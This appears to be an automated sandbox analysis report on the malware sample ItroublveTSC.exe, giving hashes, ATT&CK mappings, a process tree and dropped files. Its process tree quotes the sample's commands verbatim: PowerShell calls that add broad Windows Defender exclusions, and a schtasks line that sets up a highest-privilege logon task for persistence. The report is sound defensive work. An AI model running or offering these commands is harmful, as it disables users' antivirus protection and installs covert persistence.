51353852176f069b6ab794f567a7cc2064341c8b80d9dd4ba0cfd8ca9948ae35

General

Target

ItroublveTSC.exe
Size

2.4MB
MD5

b5915bb34f01bad573a6cc0c314b9b8b
SHA1

8b10c4cbdf11fc016d9a48c79afd3ac05a13939d
SHA256

51353852176f069b6ab794f567a7cc2064341c8b80d9dd4ba0cfd8ca9948ae35
SHA512

6559d86bd6970a07c31c4fa330f41a50136b6d0abfa14e3782f5eaff1cbdfc9a1f39b3f1af4d2c0d181a7c83b73145a68ac54452ac21fe8f9584c47d9ac173c1
SSDEEP

49152:TAbfHjnTDRqfevVL3DfQ3QUzbzO9ayYaPSPFcKKiNixScEU4a3/B3D:TiPAfevVL3bQRO8Ea9csExN/r53D

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
920	powershell.exe
4380	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3432	conhost.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3432	conhost.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 3432	4860	ItroublveTSC.exe	100
PID 4860 wrote to memory of 3432	4860	ItroublveTSC.exe	100
PID 4860 wrote to memory of 3432	4860	ItroublveTSC.exe	100
PID 3432 wrote to memory of 2948	3432	conhost.exe	101
PID 3432 wrote to memory of 2948	3432	conhost.exe	101

C:\Users\Admin\AppData\Local\Temp\ItroublveTSC.exe
"C:\Users\Admin\AppData\Local\Temp\ItroublveTSC.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ItroublveTSC.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    PID:2948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4380
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
    3⤵
    PID:1484
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lpnxi3mn.4on.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/920-13-0x000002DEF6550000-0x000002DEF6572000-memory.dmp

Filesize
136KB

Download
memory/920-22-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/920-19-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/920-14-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/920-7-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/3432-3-0x000001984C0A0000-0x000001984C0B2000-memory.dmp

Filesize
72KB

Download
memory/3432-6-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/3432-5-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/3432-4-0x00007FFCD47D0000-0x00007FFCD5291000-memory.dmp

Filesize
10.8MB

Download
memory/3432-0-0x0000019849FE0000-0x000001984A201000-memory.dmp

Filesize
2.1MB

Download
memory/3432-2-0x0000019864B00000-0x0000019864D20000-memory.dmp

Filesize
2.1MB

Download
memory/3432-1-0x00007FFCD47D3000-0x00007FFCD47D5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads